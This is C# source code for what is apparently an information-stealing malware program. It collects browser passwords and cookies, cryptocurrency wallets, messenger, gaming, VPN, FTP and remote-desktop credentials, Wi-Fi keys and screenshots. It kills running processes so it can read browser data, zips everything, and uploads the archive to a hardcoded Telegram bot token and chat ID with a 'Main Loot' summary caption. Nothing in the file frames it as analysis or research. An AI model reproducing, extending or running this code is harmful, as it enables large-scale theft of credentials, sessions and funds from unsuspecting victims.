using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Linq;
using Intelix.Helper;
using Intelix.Helper.Data;
using Intelix.Targets;
using Intelix.Targets.Applications;
using Intelix.Targets.Browsers;
using Intelix.Targets.Crypto;
using Intelix.Targets.Device;
using Intelix.Targets.Games;
using Intelix.Targets.Messangers;
using Intelix.Targets.Vpn;

namespace CvMega;

public class Program
{
    public static List<ITarget> targetsBrowsers = new List<ITarget>
    {
        new Chromium(),
        new Gecko()
    };

    public static List<ITarget> targets = new List<ITarget>
    {
        new ScreenShot(),
        new GameList(),
        new InstalledBrowsers(),
        new InstalledPrograms(),
        new ProcessDump(),
        new ProductKey(),
        new SystemInfo(),
        new WifiKey(),
        new Telegram(),
        new Discord(),
        new Element(),
        new Icq(),
        new MicroSIP(),
        new Jabber(),
        new Outlook(),
        new Pidgin(),
        new Signal(),
        new Skype(),
        new Tox(),
        new Viber(),
        new Minecraft(),
        new BattleNet(),
        new Epic(),
        new Riot(),
        new Roblox(),
        new Steam(),
        new Uplay(),
        new XBox(),
        new Growtopia(),
        new ElectronicArts(),
        new Rdp(),
        new AnyDesk(),
        new CyberDuck(),
        new DynDns(),
        new FileZilla(),
        new Ngrok(),
        new PlayIt(),
        new TeamViewer(),
        new WinSCP(),
        new TotalCommander(),
        new FTPNavigator(),
        new FTPRush(),
        new CoreFtp(),
        new FTPGetter(),
        new FTPCommander(),
        new TeamSpeak(),
        new Obs(),
        new GithubGui(),
        new NoIp(),
        new FoxMail(),
        new Navicat(),
        new RDCMan(),
        new Sunlogin(),
        new Xmanager(),
        new JetBrains(),
        new PuTTY(),
        new Cisco(),
        new RadminVPN(),
        new CyberGhost(),
        new ExpressVPN(),
        new HideMyName(),
        new IpVanish(),
        new MullVad(),
        new NordVpn(),
        new OpenVpn(),
        new PIAVPN(),
        new ProtonVpn(),
        new Proxifier(),
        new SurfShark(),
        new Hamachi(),
        new WireGuard(),
        new SoftEther(),
        new CryptoDesktop(),
        new Grabber(),
        new UserAgentGenerator(),
        new CryptoChromium(),
        new CryptoGecko()
    };

    public static StringBuilder stringBuilderError = new StringBuilder();

    [STAThread]
    public static void Main(string[] args)
    {
        // xuy sosi
        MainAsync(args).GetAwaiter().GetResult();
    }

    private static async Task MainAsync(string[] args)
    {
        string botToken = "8695367376:AAEI3swHcgOeZDvsCAvb2U6w8_GWQWV6iHM";
        string chatId = "8638775356";
        string userName = Environment.UserName;
        string machineName = Environment.MachineName;
        string userIdentifier = $"{userName}@{machineName}";

        string arguments = string.Join(" ", args);
        Console.WriteLine("start");

        if (arguments.Contains("--run-once"))
        {
            string exeDirectory = AppDomain.CurrentDomain.BaseDirectory;
            string path = Path.Combine(exeDirectory, "crashreport.txt");
            if (File.Exists(path))
            {
                return;
            }
            File.Create(path);
        }

        InMemoryZip zip = new InMemoryZip();
        try
        {
            try
            {
                Counter counter = new Counter();

                Task<string> ipTask = Task.Run(() => IpApi.GetPublicIp());
                Task<string> countryTask = Task.Run(() => IpApi.GetCountryCode());

                string hwid = "UnknownHWID";
                try
                {
                    hwid = HwidGenerator.GetHwid();
                }
                catch (Exception ex)
                {
                    stringBuilderError.AppendLine($"Failed to get HWID: {ex}");
                }

                string publicIp = "N/A";
                try
                {
                    publicIp = ipTask.Result;
                }
                catch (Exception ex)
                {
                    stringBuilderError.AppendLine($"Failed to get IP: {ex.Message}");
                }

                string countryCode = "XX";
                try
                {
                    countryCode = countryTask.Result;
                }
                catch (Exception ex)
                {
                    stringBuilderError.AppendLine($"Failed to get country code: {ex.Message}");
                }

                ArchiveStructure archiveStructure = new ArchiveStructure(countryCode, publicIp, hwid);
                zip.SetRootFolderPrefix(archiveStructure.RootFolderName);

                Task.WaitAll(Task.Run(delegate
                {
                    Parallel.ForEach(targets, delegate (ITarget target)
                    {
                        try
                        {
                            target.Collect(zip, counter);
                        }
                        catch (Exception ex)
                        {
                            stringBuilderError.AppendLine($"[TARGET: {target.GetType().Name}] {ex.Message}");
                        }
                    });
                }), Task.Run(delegate
                {
                    ProcessKiller.KillerAll();
                    Thread.Sleep(200);
                    Parallel.ForEach(targetsBrowsers, delegate (ITarget target)
                    {
                        try
                        {
                            target.Collect(zip, counter);
                        }
                        catch (Exception ex)
                        {
                            stringBuilderError.AppendLine($"[BROWSER: {target.GetType().Name}] {ex.Message}");
                        }
                    });
                }));

                counter.Collect(zip);

                ConsolidatedFilesGenerator.GenerateConsolidatedFiles(zip, counter, publicIp, countryCode, hwid);

                zip.AddTextFile("Error.txt", stringBuilderError.ToString());

                string fileNameForArchive = $"{hwid}";

                StringBuilder additionalDataBuilder = new StringBuilder();
                if (counter.Vpns.Count() > 0)
                {
                    additionalDataBuilder.AppendLine($"<b>🛰️ VPN:</b> <code>{counter.Vpns.Count()}</code>");
                }
                if (counter.Messangers.Count() > 0)
                {
                    additionalDataBuilder.AppendLine($"<b>💬 Messengers:</b> <code>{counter.Messangers.Count()}</code>");
                }
                if (counter.Games.Count() > 0)
                {
                    additionalDataBuilder.AppendLine($"<b>🎮 Games:</b> <code>{counter.Games.Count()}</code>");
                }
                if (counter.Applications.Count() > 0)
                {
                    additionalDataBuilder.AppendLine($"<b>🗄️ Servers:</b> <code>{counter.Applications.Count()}</code>");
                }
                if (counter.FilesGrabber.Count() > 0)
                {
                    additionalDataBuilder.AppendLine($"<b>🎣 Grabbers:</b> <code>{counter.FilesGrabber.Count()}</code>");
                }

                string additionalData = additionalDataBuilder.ToString().TrimEnd();
                if (string.IsNullOrEmpty(additionalData))
                {
                    additionalData = "No additional data found.";
                }

                string caption = $"<b>✨ New Log Received ✨</b>\n\n" +
                                 $"<blockquote>" +
                                 $"<b>💻 User:</b> <code>{userIdentifier}</code>\n" +
                                 $"<b>🌍 IP:</b> <code>{publicIp}</code>\n" +
                                 $"</blockquote>\n" +
                                 $"<b>📊 Main Loot:</b>\n" +
                                 $"<blockquote>" +
                                 $"<b>🔑 Passwords:</b> <code>{counter.Browsers.Sum(b => (long)b.Password)}</code>\n" +
                                 $"<b>🍪 Cookies:</b> <code>{counter.Browsers.Sum(b => (long)b.Cookies)}</code>\n" +
                                 $"<b>💰 Wallets:</b> <code>{counter.CryptoDesktop.Count() + counter.CryptoChromium.Count()}</code>\n" +
                                 $"</blockquote>\n" +
                                 $"<b>📦 Additional Data:</b>\n" +
                                 $"<blockquote>" +
                                 $"{additionalData}\n" +
                                 $"</blockquote>\n\n" +
                                 $"<b>👨‍💻 Developer:</b> <code>https://t.me/neverliet</code>";


                await SendToTelegram(botToken.TrimEnd('\0'), chatId.TrimEnd('\0'), zip.ToArray(), fileNameForArchive, caption);

                Console.WriteLine("end.");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"err: {ex.Message}");
                try
                {
                    File.WriteAllText("startup_error.log", ex.ToString());
                }
                catch (Exception logEx)
                {
                    Console.WriteLine($"err: {logEx.Message}");
                }
            }
        }
        finally
        {
            if (zip != null)
            {
                ((IDisposable)zip).Dispose();
            }
        }
    }

    public static async Task SendToTelegram(string botToken, string chatId, byte[] file, string fileName, string caption)
    {
        if (file == null || file.Length == 0)
        {
            Console.WriteLine("File is empty, skipping send.");
            return;
        }

        double fileSizeMB = file.Length / 1024.0 / 1024.0;
        Console.WriteLine($"File size: {fileSizeMB:F2} MB");

        int maxRetries = 3;
        for (int attempt = 1; attempt <= maxRetries; attempt++)
        {
            try
            {
                Console.WriteLine($"Attempt {attempt}/{maxRetries} to send file...");

                using HttpClient httpClient = new HttpClient();
                httpClient.Timeout = TimeSpan.FromMinutes(1); 
                httpClient.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");

                string url = $"https://api.telegram.org/bot{botToken}/sendDocument";
                using MultipartFormDataContent multipartFormDataContent = new MultipartFormDataContent();

                multipartFormDataContent.Add(new StringContent(chatId), "chat_id");
                multipartFormDataContent.Add(new StringContent(caption), "caption");
                multipartFormDataContent.Add(new StringContent("HTML"), "parse_mode");

                using ByteArrayContent byteArrayContent = new ByteArrayContent(file);
                byteArrayContent.Headers.ContentType = MediaTypeHeaderValue.Parse("application/zip");

                string zipFileName = $"{fileName}.zip";

                multipartFormDataContent.Add(byteArrayContent, "document", zipFileName);

                HttpResponseMessage response = await httpClient.PostAsync(url, multipartFormDataContent);

                if (response.IsSuccessStatusCode)
                {
                    Console.WriteLine("File sent successfully!");
                    return; 
                }
                else
                {
                    string errorBody = await response.Content.ReadAsStringAsync();
                    string errorMsg = $"Failed to send document. Status: {response.StatusCode}, Body: {errorBody}";
                    Console.WriteLine(errorMsg);
                    File.AppendAllText("telegram_error.log", $"{DateTime.Now}: {errorMsg}\n");
                    
                    if (attempt < maxRetries)
                    {
                        await Task.Delay(2000 * attempt); 
                    }
                }
            }
            catch (TaskCanceledException taskEx)
            {
                string errorMsg = $"Request timed out (attempt {attempt}/{maxRetries}). File size: {fileSizeMB:F2} MB. Error: {taskEx.Message}";
                Console.WriteLine(errorMsg);
                File.AppendAllText("telegram_error.log", $"{DateTime.Now}: TaskCanceledException: {errorMsg}\n");
                
                if (attempt < maxRetries)
                {
                    await Task.Delay(3000 * attempt); 
                }
            }
            catch (HttpRequestException httpEx)
            {
                string errorMsg = $"HTTP request failed (attempt {attempt}/{maxRetries}): {httpEx.Message}";
                Console.WriteLine(errorMsg);
                File.AppendAllText("telegram_error.log", $"{DateTime.Now}: HttpRequestException: {httpEx}\n");
                
                if (attempt < maxRetries)
                {
                    await Task.Delay(2000 * attempt);
                }
            }
            catch (Exception ex)
            {
                string errorMsg = $"Failed to send document (attempt {attempt}/{maxRetries}): {ex.Message}";
                Console.WriteLine(errorMsg);
                File.AppendAllText("telegram_error.log", $"{DateTime.Now}: Exception: {ex}\n");
                
                if (attempt < maxRetries)
                {
                    await Task.Delay(2000 * attempt);
                }
            }
        }

        Console.WriteLine($"Failed to send file after {maxRetries} attempts.");
    }
}